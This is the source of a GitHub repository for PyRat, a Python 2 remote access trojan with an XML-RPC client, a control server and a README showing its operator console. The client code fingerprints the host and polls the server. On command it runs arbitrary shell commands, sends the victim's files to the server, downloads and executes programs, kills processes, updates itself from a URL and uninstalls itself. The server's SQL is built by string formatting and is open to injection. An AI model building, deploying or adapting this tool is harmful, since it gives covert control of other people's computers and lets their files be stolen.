├── wechatpay.png
├── install_env.bat
├── .gitignore
├── client
├── pyratfc.py
└── pyratcli.py
├── README.md
├── server
├── svrdb.py
└── pyratsvr.py
└── LICENSE
/wechatpay.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/anhkgg/PyRat/HEAD/wechatpay.png
--------------------------------------------------------------------------------
/install_env.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 |
3 | pip install colorama
4 | pip install pywin32
5 | python Scripts/pywin32_postinstall.py -install
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # ---> Python
2 | # Byte-compiled / optimized / DLL files
3 | __pycache__/
4 | *.py[cod]
5 | *$py.class
6 |
7 | # C extensions
8 | *.so
9 |
10 | # Distribution / packaging
11 | .Python
12 | env/
13 | build/
14 | develop-eggs/
15 | dist/
16 | downloads/
17 | eggs/
18 | .eggs/
19 | lib/
20 | lib64/
21 | parts/
22 | sdist/
23 | var/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *,cover
47 |
48 | # Translations
49 | *.mo
50 | *.pot
51 |
52 | # Django stuff:
53 | *.log
54 |
55 | # Sphinx documentation
56 | docs/_build/
57 |
58 | # PyBuilder
59 | target/
60 |
61 |
--------------------------------------------------------------------------------
/client/pyratfc.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | #coding=utf-8
3 |
4 | import sys, subprocess
5 | import os, uuid
6 | import platform
7 | import ctypes
8 | import socket
9 |
10 | def GetClientId():
11 | name = socket.gethostname()
12 | mac = uuid.UUID(int = uuid.getnode()).hex[-12:].upper()
13 | return name + '-' + mac
14 |
15 | def GetLocalIp():
16 | return socket.gethostbyname(socket.gethostname())
17 |
18 | def GetPublicIp():
19 | #http://www.jb51.net/article/57997.htm
20 | import re,urllib2
21 | def visit(url):
22 | opener = urllib2.urlopen(url)
23 | if url == opener.geturl():
24 | s = opener.read()
25 | return re.search('\d+\.\d+\.\d+\.\d+', s).group(0)
26 | return ''
27 | try:
28 | ip = visit("http://2017.ip138.com/ic.asp")
29 | except:
30 | try:
31 | ip = visit("http://m.tool.chinaz.com/ipsel")
32 | except:
33 | ip = "unknown"
34 | return ip
35 |
36 | def GetOsVersion():
37 | uname = list(platform.uname())
38 | #print sys.platform, uname
39 | return str(uname[0]) + str(uname[3])
40 |
41 | def GetClientInfo():
42 | info = {
43 | "uname": os.environ['USERNAME'] if sys.platform == 'win32' else os.environ['USER'],
44 | "osver": GetOsVersion(),
45 | "lip": GetLocalIp(),
46 | "rip": GetPublicIp(),
47 | }
48 | return info
49 |
50 | if __name__ == '__main__':
51 | print GetClientId()
52 | print GetClientInfo()
53 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PyRat
2 |
3 | PyRat,基于python XmlRPC完成的远控开源项目,包括客户端和服务端(也叫控制端,后统称服务端)。
4 |
5 | > 申明:项目仅供技术交流,请勿用于商业及非法用途,如产生任何法律纠纷均与本人无关!
6 |
7 | 1. 由于XmlRPC基于http协议,所以PyRat能够无视防火墙,更加优雅得进行通信和控制。
8 | 2. python的跨平台特性,使得PyRat客户端可以支持Windows/Linux/Macos等不同平台,目前测试通过支持**Windows/Ubuntu/Macos**平台。
9 | 3. 服务端命令行控制和管理,逼格满满。
10 | 4. 目前客户端支持基本信息、上传、下载、cmdshell、运行软件、结束进程、更新、卸载等功能
11 |
12 | # 依赖
13 |
14 | 1. python2.7
15 | 2. colorama (服务端)
16 |
17 | # TODO
18 |
19 | 1. 增加更多功能,比如文件操作,批量断点文件传输,远程桌面,截屏,账户操作等等
20 | 2. 服务端可视化
21 | 3. 交互式shell
22 | 4. 加密隧道
23 | 5. SSH / SCP
24 | 6. 欢迎PR
25 |
26 | # 基本使用
27 |
28 | 客户端
29 |
30 | ```
31 | > python .\pyratcli.py localhost 80
32 | ```
33 |
34 | 服务端
35 |
36 | ```
37 | > python pyratsvr.py 80
38 | --------------------Python RAT-----------------------
39 | --------------------anhkgg---------------------------
40 | --------------------Copyright (c) 2018---------------
41 |
42 | 软件仅供技术交流,请勿用于商业及非法用途,如产生法律纠纷与本人无关!
43 |
44 | --------------------Task command---------------------
45 | --|(l)ist (a)live (k)ill (s)elect (p)rint (c)mdshell (n)ew (d)ownload (r)unexec (u)pload (t)erminate (q)uit (h)elp|--
46 |
47 | cmd >
48 | ```
49 |
50 | 客户端上线后,服务端会提示,并且将最新上线客户端设置未默认操作目标。
51 |
52 | ```
53 | cmd >test-3333333 is online.
54 | Auto set target test-3333333
55 | ```
56 |
57 | `help`或者`h`可列出服务端支持的所有命令。
58 |
59 | ```
60 | cmd >help
61 | (l)ist: list all clients
62 | (a)live: list alive clients
63 | (k)ill: delete client
64 | (s)elect: select target client
65 | (p)rint: show current client
66 | (c)mdshell: create a cmdshell, type q to exit cmdshell
67 | (n)ew: update client version
68 | (d)ownload: let client download a file
69 | (r)unexec: let client run a exe
70 | (u)pload: upload a file to client
71 | (t)erminate:terminate process
72 | (q)uit: quit server
73 | ```
74 |
75 | # 客户端管理
76 |
77 | 服务端使用sqlite保存客户端基础信息以及任务信息,通过命令可以对客户端进行管理。
78 |
79 | ```
80 | //枚举所有客户端
81 | cmd >l
82 | test-3333333 offline 2018-03-20 22:46:59!
83 | id | client_id | version | localip | remoteip | username | osversion | firsttime | lasttime | status
84 | 10 | test-3333333 | 0.1.0 | 192.168.149.1 | 114.245.47.12 | test | Windows10.0.16299 | 2018-03-17 12:39:56 | 2018-03-20 22:46:59 | 0
85 | cmd >
86 | //枚举在线客户端
87 | cmd >a
88 | no alive client
89 | //删除客户端数据库记录或者卸载客户端
90 | cmd >k
91 | target cid(or ALL):test-3333333
92 | Do you want to uninstall client?(Y/N)
93 | ```
94 |
95 | 如果需要控制客户端时,需要通过`select`或者`s`选择要操作的客户目标。
96 |
97 | ```
98 | cmd >c //想进入cmdshell,提示无目标
99 | Please first set target client by (s)elect command.
100 | cmd >s //设置目标
101 | client_id:test-3333333
102 | Set target client: test-3333333
103 | //查看当前目标
104 | cmd >p
105 | test-3333333
106 | ```
107 |
108 | # cmdshell
109 |
110 | 通过`cmdshell`或`c`进入cmdshell,除非主动输入`q`,否则一直在cmdshell操作目录。
111 |
112 | cmdshell记录操作目录,比如cd c:\,下次操作会在该目录下进行,实现了类似管道连接的cmdshell。
113 |
114 | 另外若通过cmdshell启动进程,某些进程可能会阻塞消息返回,所以不推荐使用,而是使用`runexec`来代替。
115 |
116 | ```
117 | cmd >c
118 | RAT-CMD > dir
119 | RAT-CMD > test-3333333 do cmdshell(195) dir True
120 | 驱动器 D 中的卷是 gitrepo
121 | 卷的序列号是 EB2F-5AC0
122 |
123 | D:\PyRat\client 的目录
124 |
125 | 2018/02/24 09:40
.
126 | 2018/02/24 09:40 ..
127 | 2018/03/20 22:46 4,919 pyratcli.py
128 | 2018/03/20 23:01 28 cmd.log
129 | 2018/03/17 12:39 1,322 pyratfc.py
130 | 2018/03/17 11:19 2,500 osver.py
131 | 2018/03/17 12:39 2,161 pyratfc.pyc
132 | 5 个文件 10,930 字节
133 | 2 个目录 647,836,565,504 可用字节
134 |
135 | RAT-CMD > ver
136 | RAT-CMD > test-3333333 do cmdshell(196) ver True
137 |
138 | Microsoft Windows [版本 10.0.16299.309]
139 |
140 | RAT-CMD > tasklist
141 | RAT-CMD > test-3333333 do cmdshell(197) tasklist True
142 |
143 | 映像名称 PID 会话名 会话# 内存使用
144 | ========================= ======== ================ =========== ============
145 | System Idle Process 0 Services 0 8 K
146 | System 4 Services 0 3,564 K
147 | smss.exe 360 Services 0 412 K
148 | csrss.exe 492 Services 0 1,700 K
149 | Calculator.exe 21656 RDP-Tcp#85 1 56,772 K
150 | RAT-CMD > tasklist |findstr Cal
151 | RAT-CMD > test-3333333 do cmdshell(200) tasklist |findstr Cal True
152 | Calculator.exe 21656 RDP-Tcp#85 1 51,856 K
153 | RAT-CMD > taskkill /IM Calculator.exe
154 | RAT-CMD > test-3333333 do cmdshell(201) taskkill /IM Calculator.exe True
155 | 成功: 给进程 "Calculator.exe" 发送了终止信号,进程的 PID 为 21656。
156 | RAT-CMD > taskkill /PID 21656
157 | RAT-CMD > test-3333333 do cmdshell(202) taskkill /PID 21656 True
158 | 成功: 给进程发送了终止信号,进程的 PID 为 21656。
159 | ```
160 |
161 | # 文件操作
162 |
163 | 支持文件上传和下载,其中下载支持下载网络文件和服务端本地文件,暂时只支持单文件上传和下载。
164 |
165 | ```
166 | cmd >d
167 | url(type N to download local file):N //选择下载本地文件
168 | local file:db.db
169 | dest path:db.db
170 | cmd >test-3333333 do download(203) local db.db db.db True
171 | download success
172 |
173 | cmd >d
174 | url(type N to download local file):https://dl.360safe.com/360/inst.exe //下载网络文件
175 | dest path:inst.exe
176 | cmd >test-3333333 do download(204) net https://dl.360safe.com/360/inst.exe inst.exe True
177 | download success
178 | ```
179 |
180 | # 运行软件
181 |
182 | ```
183 | cmd >r
184 | run target:inst.exe
185 | runexec inst.exe
186 | ```
187 |
188 | # 结束进程
189 |
190 | ```
191 | cmd > t
192 | Select type(name/pid):name
193 | process name:notepad.exe
194 | cmd >test-3333333 do terminate(212) name notepad.exe True
195 | 成功: 给进程 "notepad.exe" 发送了终止信号,进程的 PID 为 25416。
196 | ```
197 |
198 | # 问题
199 |
200 | 1. 测试中发现可能有编码问题
201 |
202 | 如果客户端运行在linux,而服务端在windows平台,中文可能出现乱码,因为两个平台使用编码不同,暂时未作处理
203 |
204 | # 捐助
205 |
206 | 
--------------------------------------------------------------------------------
/client/pyratcli.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | #coding=utf-8
3 |
4 | import xmlrpclib
5 | import time, subprocess
6 | import urllib, urllib2
7 | import os, shutil, sys, signal
8 | import pyratfc
9 |
10 | if sys.platform == 'win32':
11 | PYRATCLI = 'pyratcli.exe'
12 | else:
13 | PYRATCLI = 'pyratcli'
14 |
15 | class XmlCli():
16 | PYRAT_CLIENT_VERSION = '0.1.1'
17 |
18 | def __init__(self, svr):
19 | self.cmdmap = {
20 | 'cmdshell': self.cmdshell,
21 | 'update': self.update,
22 | 'download': self.download,
23 | 'runexec': self.runexec,
24 | 'upload': self.upload,
25 | 'terminate': self.terminate_proc,
26 | 'uninstall': self.uninstall
27 | }
28 | self.svr = svr
29 | self.hello()
30 |
31 | def hello(self):
32 | self.id = pyratfc.GetClientId()
33 | info = pyratfc.GetClientInfo()
34 |
35 | while True:
36 | try:
37 | self.cli = xmlrpclib.ServerProxy(self.svr, allow_none=True)
38 | self.cli.hello(self.id, XmlCli.PYRAT_CLIENT_VERSION, info)
39 | break
40 | except Exception as e:
41 | print e
42 | time.sleep(1)
43 | continue
44 |
45 | def run(self):
46 | while True:
47 | try:
48 | task = self.cli.get_task(self.id)
49 | if task:
50 | #print task
51 | (tid, cid, task, argv, ttime) = task
52 | #for debug
53 | #if task == 'quit':
54 | # break
55 | #ret = eval("cli."+task+"()")
56 | method = self.cmdmap.get(task)
57 | if method:
58 | (ret, data) = method(argv)
59 | self.cli.resp_task(cid, tid, task, argv, ret, data)
60 |
61 | time.sleep(0.01)
62 | except Exception as e:
63 | print e
64 | self.hello()
65 |
66 | self.close()
67 |
68 | def close(self):
69 | self.cli.close(self.id)
70 |
71 | def __write_file(self, path, data):
72 | f = file(path, 'wb')
73 | f.write(data)
74 | f.close()
75 |
76 | def __read_file(self, path):
77 | f = file(path, 'rb')
78 | d = f.read()
79 | f.close()
80 | return d
81 |
82 | def uninstall(self, argv):
83 | try:
84 | os.remove(PYRATCLI)
85 | os._exit(0)
86 | return (True, "")
87 | except Exception as e:
88 | return (False, str(e))
89 |
90 | def update(self, url):
91 | try:
92 | req = urllib.urlopen(url)
93 | data = req.read()
94 | self.__write_file('tmp', data)
95 | os.remove(PYRATCLI)
96 | shutil.move('tmp', PYRATCLI)
97 | cmd = PYRATCLI
98 | self.runexec(cmd)
99 | return (True, '')
100 | except Exception as e:
101 | return (False, str(e))
102 |
103 | def download(self, argv):
104 | try:
105 | (dtype, url, path) = argv.split(' ')
106 | if dtype == 'net':
107 | req = urllib.urlopen(url)
108 | data = req.read()
109 | elif dtype == 'local':
110 | (ret, data) = self.cli.download(url)
111 | if not ret:
112 | return (False, data)
113 | data = data.data
114 | else:
115 | return (False, 'Unknow:' + dtype)
116 | self.__write_file(path, data)
117 | return (True, 'download success')
118 | except Exception as e:
119 | return (False, str(e))
120 |
121 | def upload(self, argv):
122 | try:
123 | path = argv
124 | data = self.__read_file(path)
125 | return (True, xmlrpclib.Binary(data))
126 | except Exception as e:
127 | return (False, str(e))
128 |
129 | def cmdshell(self, cmd):
130 | try:
131 | #https://www.cnblogs.com/yangykaifa/p/7127776.html
132 | # cmd = 'cmd.exe /c %s &' % cmd
133 | # log = 'cmd.log'
134 | # p = subprocess.Popen(cmd, stdout=file(log, 'w'), stderr=subprocess.STDOUT)
135 | # p.wait()
136 | # data = self.__read_file(log)
137 | data = os.popen(cmd).read()
138 | return (True, xmlrpclib.Binary(data))
139 | except Exception as e:
140 | return (False, str(e))
141 |
142 | def runexec(self, path):
143 | try:
144 | subprocess.Popen(path)
145 | return (True, '')
146 | except Exception as e:
147 | return (False, str(e))
148 |
149 | def terminate_proc(self, argv):
150 | try:
151 | (ptype, val) = argv.split(' ')
152 | # ptype = '/PID' if ptype == 'pid' else '/IM'
153 | # cmd = 'cmd.exe /c taskkill %s %s' % (ptype, val)
154 | # log = 'cmd.log'
155 | # p = subprocess.Popen(cmd, stdout=file(log, 'w'), stderr=subprocess.STDOUT)
156 | # p.wait()
157 | # data = self.__read_file(log)
158 | # https://www.cnblogs.com/xjh713/p/6306587.html?utm_source=itdadao&utm_medium=referral
159 | if sys.platform == 'win32':
160 | ptype = '/PID' if ptype == 'pid' else '/IM'
161 | data = os.popen('taskkill %s %s' % (ptype, val)).read()
162 | else:
163 | os.kill(val, signal.SIGKILL)
164 | return (True, xmlrpclib.Binary(data))
165 | except Exception as e:
166 | return (False, str(e))
167 |
168 | if __name__ == '__main__':
169 | if len(sys.argv) < 3:
170 | print 'usage: pyratcli.exe ip port'
171 | os._exit(0)
172 | url = "http://%s:%s" % (sys.argv[1], sys.argv[2])
173 | xc = XmlCli(url)
174 | xc.run()
175 |
176 |
177 |
--------------------------------------------------------------------------------
/server/svrdb.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | #coding=utf-8
3 |
4 | import sqlite3
5 |
6 | class SvrDb():
7 | def __init__(self, path):
8 | pass
9 | #sqlite3.__doc__
10 | #SQLite objects created in a thread can only be used in that same thread.
11 | self.conn = sqlite3.connect(path, check_same_thread = False)
12 | sql = 'CREATE TABLE if not exists client(' \
13 | 'c_id INTEGER PRIMARY KEY AUTOINCREMENT,' \
14 | 'c_cid VARCHAR(260) UNIQUE,' \
15 | 'c_ver VARCHAR(260),' \
16 | 'c_localip VARCHAR(20),' \
17 | 'c_remoteip VARCHAR(20),' \
18 | 'c_username VARCHAR(260),' \
19 | 'c_osver VARCHAR(260),' \
20 | 'c_firsttime DATETIME,' \
21 | 'c_lasttime DATETIME,' \
22 | 'c_status INT' \
23 | ' );'
24 | sql1 = 'CREATE TABLE if not exists task(' \
25 | 't_id INTEGER PRIMARY KEY AUTOINCREMENT,' \
26 | 't_cid VARCHAR(260),' \
27 | 't_task VARCHAR(260),' \
28 | 't_argv VARCHAR(4096),' \
29 | 't_time DATETIME' \
30 | ' );'
31 | try:
32 | self.conn.execute(sql)
33 | self.conn.execute(sql1)
34 | self.conn.commit()
35 | except Exception as e:
36 | print '<__init__>', e
37 |
38 | #id = computer_name_time
39 | def add_client(self, id, ver, info):
40 | if self.get_client(id):
41 | self.upd_client(id,
42 | ver,
43 | lip=info['lip'],
44 | rip=info['rip'],
45 | uname=info['uname'],
46 | osv=info['osver'],
47 | status=1)
48 | #print ' already exist'
49 | return
50 |
51 | sql = "insert into client(" \
52 | "c_cid, c_ver, c_localip, c_remoteip, " \
53 | "c_username, c_osver, c_firsttime," \
54 | "c_lasttime, c_status)" \
55 | "values ('%s', '%s', '%s', '%s', '%s', '%s', datetime(\"now\", \"localtime\"), datetime(\"now\", \"localtime\"), %d)"
56 | sql = sql % (id, ver, info['lip'], info['rip'], info['uname'], info['osver'], 1)
57 | try:
58 | self.conn.execute(sql)
59 | self.conn.commit()
60 | except Exception as e:
61 | print '', e
62 |
63 | def get_client(self, id):
64 | sql = "select * from client where c_cid = '%s'" % id
65 | try:
66 | cursor = self.conn.execute(sql)
67 | if cursor:
68 | return cursor.fetchall()
69 | except Exception as e:
70 | print e
71 | return None
72 |
73 | def list_client(self):
74 | sql = "select * from client;"
75 | try:
76 | cursor = self.conn.execute(sql)
77 | if cursor:
78 | return cursor.fetchall()
79 | except Exception as e:
80 | print e
81 | return None
82 |
83 | def list_alive_client(self):
84 | sql = "select * from client where c_status=1;"
85 | try:
86 | cursor = self.conn.execute(sql)
87 | if cursor:
88 | return cursor.fetchall()
89 | except Exception as e:
90 | print e
91 | return None
92 |
93 | def del_client(self, id):
94 | sql = "delete from client where c_cid='%s'" % id
95 | try:
96 | self.conn.execute(sql)
97 | self.conn.commit()
98 | except Exception as e:
99 | print '', e
100 |
101 | def del_all_client(self):
102 | sql = 'delete from client;'
103 | try:
104 | self.conn.execute(sql)
105 | self.conn.commit()
106 | except Exception as e:
107 | print '', e
108 |
109 | def upd_client(self, id, ver='', lip='', rip='', uname='', osv='', status=-1):
110 | sql = 'update client set '
111 | sql += (('c_ver=\'%s\',' % ver) if ver else '')
112 | sql += (('c_localip=\'%s\',' % lip) if lip else '')
113 | sql += (('c_remoteip=\'%s\',' % rip) if rip else '')
114 | sql += (('c_username=\'%s\',' % uname) if uname else '')
115 | sql += (('c_osver=\'%s\',' % osv) if osv else '')
116 | sql += (('c_status=%d,' % status) if status!=-1 else '')
117 | sql += ('c_lasttime=datetime("now", "localtime"),')
118 | sql = sql[:-1] + (' where c_cid=\'%s\'' % id)
119 | try:
120 | self.conn.execute(sql)
121 | self.conn.commit()
122 | except Exception as e:
123 | print '', e
124 |
125 | def off_client(self, id):
126 | sql = 'update client set c_status = 0'
127 | try:
128 | self.conn.execute(sql)
129 | self.conn.commit()
130 | except Exception as e:
131 | print '', e
132 |
133 | def close(self):
134 | self.conn.close()
135 |
136 | def add_task(self, id, task, argv=''):
137 | if not self.get_client(id):
138 | print ' %s is not exist' % id
139 | return
140 | sql = "insert into task(t_cid, t_task, t_argv, t_time) VALUES ('%s', '%s', '%s', datetime('now', 'localtime'));"
141 | sql = sql % (id, task, argv)
142 | try:
143 | self.conn.execute(sql)
144 | self.conn.commit()
145 | except Exception as e:
146 | print '', e
147 |
148 | def get_task(self, id):
149 | sql = "select * from task where t_cid='%s' limit 1;" % id
150 | try:
151 | cursor = self.conn.execute(sql)
152 | return cursor.fetchone()
153 | except Exception as e:
154 | print '', e
155 | return None
156 |
157 | def del_task(self, tid):
158 | sql = "delete from task where t_id=%d" % tid
159 | try:
160 | self.conn.execute(sql)
161 | self.conn.commit()
162 | except Exception as e:
163 | print '', e
164 |
165 | def clean_task(self, id):
166 | sql = "delete from task where t_cid='%s'" % id
167 | try:
168 | self.conn.execute(sql)
169 | self.conn.commit()
170 | except Exception as e:
171 | print '', e
172 |
173 | if __name__ == '__main__':
174 | sd = SvrDb("svr.db")
175 |
176 | '''
177 | id = 'myhost_1520264904.385'
178 | ver = '1.0'
179 | info = {
180 | 'lip':'192.168.0.100',
181 | 'rip':'61.11.12.90',
182 | 'uname':'myhost',
183 | 'osver':'win10'
184 | }
185 | sd.add_client(id, ver, info)
186 | sd.add_client(id, ver, info)
187 | sd.upd_client(id, ver='1.2', lip='192.168.0.101', rip='111.111.111.111', uname='myhost2', status=1)
188 | #sd.del_client(id)
189 |
190 | sd.add_task(id, "update", "v=1.3")
191 | print sd.get_task(id)
192 | tid=raw_input("tid >")
193 | sd.del_task(int(tid))
194 | '''
195 |
196 | c = sd.list_alive_client()
197 | for i in c:
198 | print i
199 | sd.close()
200 |
--------------------------------------------------------------------------------
/server/pyratsvr.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | #coding=utf-8
3 |
4 | import time, sys, os
5 | import threading
6 | import xmlrpclib
7 | from SimpleXMLRPCServer import SimpleXMLRPCServer
8 | from svrdb import SvrDb
9 | #http://blog.csdn.net/qianghaohao/article/details/52117082
10 | from colorama import init, Fore, Back, Style
11 |
12 | class SvrMethod():
13 | tsk = None
14 | #@staticmethod
15 | @classmethod
16 | def set_taskmgr(cls, taskmgr):
17 | SvrMethod.tsk = taskmgr
18 |
19 | def __init__(self):
20 | self.tsk = SvrMethod.tsk
21 | self.db = self.tsk.getdb()
22 | self.i = 0
23 |
24 | def hello(self, id, ver, info):
25 | print id, 'is online.'
26 | self.tsk.hello(id, ver, info)
27 | self.tsk.new_cmd()
28 |
29 | def get_task(self, id):
30 | self.db.upd_client(id)
31 | task = self.db.get_task(id)
32 | if task == 'uninstall':
33 | self.tsk.del_cur_client()
34 |
35 | return task
36 |
37 | def resp_task(self, id, task_id, task, argv, ret, data):
38 | print '%s do %s(%d) %s %s' % (id, task, task_id, argv, str(ret))
39 | if task != 'upload':
40 | print data
41 | self.db.del_task(task_id)
42 |
43 | if ret and task == 'upload':
44 | self.tsk.update_done(data.data)
45 |
46 | self.tsk.new_cmd()
47 |
48 | def download(self, path):
49 | try:
50 | f = file(path, 'rb')
51 | b = f.read()
52 | f.close()
53 | return (True, xmlrpclib.Binary(b))
54 | except Exception as e:
55 | return (False, str(e))
56 |
57 | def update(self, id):
58 | print 'update'
59 | self.tsk.new_cmd()
60 |
61 | def close(self, id):
62 | self.db.clean_task(id)
63 | self.db.off_client(id)
64 | print id, 'is offline.'
65 | self.tsk.new_cmd()
66 |
67 | class SvrTask(threading.Thread):
68 | def __init__(self):
69 | super(SvrTask, self).__init__()
70 | self.cmdmap = {
71 | 'help': self.help,
72 | 'list': self.list_client,
73 | 'alive': self.list_alive_client,
74 | 'kill': self.delete_client,
75 | 'print': self.get_target,
76 | 'select': self.sel_client,
77 | 'cmdshell': self.cmdshell,
78 | 'new': self.update,
79 | 'download': self.download,
80 | 'runexec': self.runexec,
81 | 'upload': self.upload,
82 | 'terminate': self.terminate_proc
83 | }
84 | self.cur_cid = None
85 | #SQLite objects created in a thread can only be used in that same thread.The object was created in thread id 34828 and this is thread id 8960
86 | self.db = SvrDb("svr.db")
87 | self.cmd_dir = None
88 | self.pre_cmd_tip = 'cmd >'
89 | self.upload_path = ''
90 |
91 | def getdb(self):
92 | return self.db
93 |
94 | def hello(self, id, ver, info):
95 | if self.cur_cid == None:
96 | self.cur_cid = id
97 | print 'Auto set target', self.cur_cid
98 | self.db.clean_task(id)
99 | self.db.add_client(id, ver, info)
100 |
101 | def run(self):
102 | while True:
103 | cmd = raw_input('cmd >').strip()
104 | if cmd == 'quit' or cmd =='q':
105 | #for debug, wait
106 | self.db.add_task(self.cur_cid, 'quit')
107 | print 'Quit server'
108 | os._exit(0)#sys.exit(0)
109 | if len(cmd) == 1:
110 | tmp = [k for k in self.cmdmap.keys() if k.startswith(cmd)]
111 | if len(tmp) <= 0:
112 | print 'Invalid cmd:', cmd
113 | continue
114 | cmd = tmp[0]
115 |
116 | method = self.cmdmap.get(cmd)
117 | if method:
118 | method()
119 | else:
120 | print 'Invalid cmd:', cmd
121 |
122 | def help(self):
123 | print '(l)ist: list all clients'
124 | print '(a)live: list alive clients'
125 | print '(k)ill: delete client'
126 | print '(s)elect: select target client'
127 | print '(p)rint: show current client'
128 | print '(c)mdshell: create a cmdshell, type q to exit cmdshell'
129 | print '(n)ew: update client version'
130 | print '(d)ownload: let client download a file'
131 | print '(r)unexec: let client run a exe'
132 | print '(u)pload: upload a file to client'
133 | print '(t)erminate:terminate process'
134 | print '(q)uit: quit server'
135 |
136 | def new_cmd(self):
137 | #print self.pre_cmd_tip,
138 | sys.stdout.write('\r')
139 | sys.stdout.write(self.pre_cmd_tip)
140 | sys.stdout.flush()
141 |
142 | def list_client(self):
143 | self.check_client(True)
144 | c = self.db.list_client()
145 | if c:
146 | title = ('id', 'client_id', 'version', 'localip', 'remoteip', 'username', 'osversion', 'firsttime', 'lasttime', 'status')
147 | fmt = '%-6s | %-26s | %-8s | %-20s | %-20s | %-20s | %-10s | %-20s | %-20s | %-6s'
148 | print fmt % title
149 | for ci in c:
150 | print fmt % ci
151 | else:
152 | print 'no client'
153 |
154 | def list_alive_client(self):
155 | self.check_client(True)
156 | c = self.db.list_alive_client()
157 | if c:
158 | title = ('id', 'client_id', 'version', 'localip', 'remoteip', 'username', 'osversion', 'firsttime', 'lasttime', 'status')
159 | fmt = '%-6s | %-26s | %-8s | %-20s | %-20s | %-20s | %-10s | %-20s | %-20s | %-6s'
160 | print fmt % title
161 | for ci in c:
162 | print fmt % ci
163 | else:
164 | print 'no alive client'
165 |
166 | def del_cur_client(self):
167 | self.db.del_client(self.cur_cid)
168 |
169 | def delete_client(self):
170 | target = raw_input('target cid(or ALL):').strip()
171 | if not target:
172 | print 'Please type a target to delete'
173 | return
174 | if target == 'ALL':
175 | self.db.del_all_client()
176 | else:
177 | r = raw_input("Do you want to uninstall client?(Y/N)").strip()
178 | if r == 'Y':
179 | self.db.add_task(target, 'uninstall', '')
180 | else:
181 | self.db.del_client(target)
182 |
183 | def get_target(self):
184 | print self.cur_cid
185 | self.check_client()
186 |
187 | def sel_client(self):
188 | id = raw_input('client_id:')
189 | if not id:
190 | print 'Invalid client_id NULL'
191 | elif not self.db.get_client(id):
192 | print 'Invalid client_id', id
193 | else:
194 | self.cur_cid = id
195 | print 'Set target client:', id
196 | self.check_client()
197 |
198 | def has_client(self):
199 | if not self.cur_cid:
200 | print 'Please first set target client by (s)elect command.'
201 | return False
202 | if not self.check_client():
203 | self.cur_cid = None
204 | return False
205 | return True
206 |
207 | def _check_client(self, c):
208 | cid_index = 1
209 | time_index = 8
210 | time_diff = 2*60
211 | last_time = time.mktime(time.strptime(c[time_index], "%Y-%m-%d %H:%M:%S"))
212 | diff = time.time() - last_time
213 | if diff >= time_diff:
214 | self.db.off_client(c[cid_index])
215 | print '%s offline %s!' % (c[cid_index], c[time_index])
216 | return False
217 | return True
218 |
219 | def check_client(self, check_all=False):
220 | '''check status of the client in every cmd.'''
221 | if check_all:
222 | clients = self.db.list_alive_client()
223 | if clients:
224 | for c in clients:
225 | self._check_client(c)
226 | else:
227 | client = self.db.get_client(self.cur_cid)
228 | if client:
229 | return self._check_client(client[0])
230 | return True
231 |
232 | def update(self):
233 | if self.has_client():
234 | self.db.add_task(self.cur_cid, 'update', 'http://pyrat.com/?v=1.3')
235 |
236 | def update_done(self, data):
237 | while True:
238 | path = self.upload_path
239 | if not path:
240 | path = './'
241 | try:
242 | f = file(path, 'wb')
243 | f.write(data)
244 | f.close()
245 | print 'upload success,', path
246 | except Exception as e:
247 | print e
248 | y = raw_input('failed, retry?(Y/N):')
249 | if y != 'N':
250 | continue
251 | break
252 |
253 | def downlocal(self):
254 | local = raw_input("local file:")
255 | if not local:
256 | print 'you have not type a file path'
257 | return None
258 | if not os.path.exists(local):
259 | print 'the file %s not exist' % local
260 | return None
261 | return local
262 |
263 | def download(self):
264 | if self.has_client():
265 | dtype = 'net'
266 | url = raw_input("url(type N to download local file):")
267 | if url == 'N':
268 | url = self.downlocal()
269 | if not url:
270 | return
271 | dtype = 'local'
272 | path = raw_input("dest path:")
273 | argv = dtype + ' ' + url + ' ' + path
274 | self.db.add_task(self.cur_cid, 'download', argv)
275 |
276 | def runexec(self):
277 | if self.has_client():
278 | path = raw_input('run target:')
279 | if not path:
280 | print 'Type nothing'
281 | return
282 | self.db.add_task(self.cur_cid, 'runexec', path)
283 | print 'runexec', path
284 |
285 | def upload(self):
286 | if self.has_client():
287 | path = raw_input("target file:").strip()
288 | if not path:
289 | print 'Type nothing'
290 | return
291 | dst = raw_input("local path:").strip()
292 | if not dst:
293 | print 'Type nothing'
294 | return
295 | self.upload_path = dst
296 | self.db.add_task(self.cur_cid, 'upload', path)
297 |
298 | def terminate_proc(self):
299 | if self.has_client():
300 | ptype = raw_input('Select type(name/pid):')
301 | val = ''
302 | if not ptype:
303 | ptype = 'name'
304 | print 'you select the default type: name'
305 | if ptype == 'name':
306 | val = raw_input('process name:').strip()
307 | elif ptype == 'pid':
308 | val = raw_input('process pid:').strip()
309 | else:
310 | print 'Invalid select'
311 | return
312 | if not val:
313 | print 'Invalid type'
314 | return
315 | argv = ptype + ' ' + val
316 | self.db.add_task(self.cur_cid, 'terminate', argv)
317 |
318 | def cmdshell(self):
319 | if self.has_client():
320 | while True:
321 | self.pre_cmd_tip = 'RAT-CMD > '
322 | cmd = raw_input('RAT-CMD > ').strip()
323 | if not self.check_client():
324 | self.cur_cid = None
325 | return
326 | #just for debug
327 | if cmd:
328 | if cmd == 'quit' or cmd == 'q':
329 | self.pre_cmd_tip = 'cmd > '
330 | break
331 | tmp = cmd.split(' ')
332 | tmp = [i for i in tmp if i != '']
333 | if len(tmp) == 2 and tmp[0] == 'cd':
334 | self.cmd_dir = tmp[1]
335 | elif self.cmd_dir:
336 | cmd = "cd " + self.cmd_dir + ' && ' + cmd
337 | self.db.add_task(self.cur_cid, 'cmdshell', cmd)
338 |
339 | class XMLSvr():
340 | def __init__(self, port):
